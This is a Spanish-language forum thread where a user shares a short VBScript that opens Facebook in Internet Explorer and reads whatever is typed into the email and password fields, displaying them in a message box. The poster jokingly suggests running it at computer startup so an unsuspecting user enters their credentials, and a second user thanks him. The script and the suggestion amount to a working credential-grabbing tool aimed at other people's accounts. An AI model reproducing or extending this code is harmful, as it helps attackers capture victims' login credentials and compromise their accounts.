[Aporte] Obtener Nombre De Usuario y Contraseña De Facebook Con Un Simple script

[Flamer]

Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

Código (vb) [Seleccionar] Expandir


set IE = CreateObject("InternetExplorer.Application")

IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p



pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript

[abelnav12]

Muchas gracias flamer por compartir tus conocimientos . por cierto tu blog esta muy bueno 

[Flamer]

Muchas gracias flamer por compartir tus conocimientos . por cierto tu blog esta muy bueno 

Gracias y me gusta que le guste a la gente lo poco que se

Saludos Flamer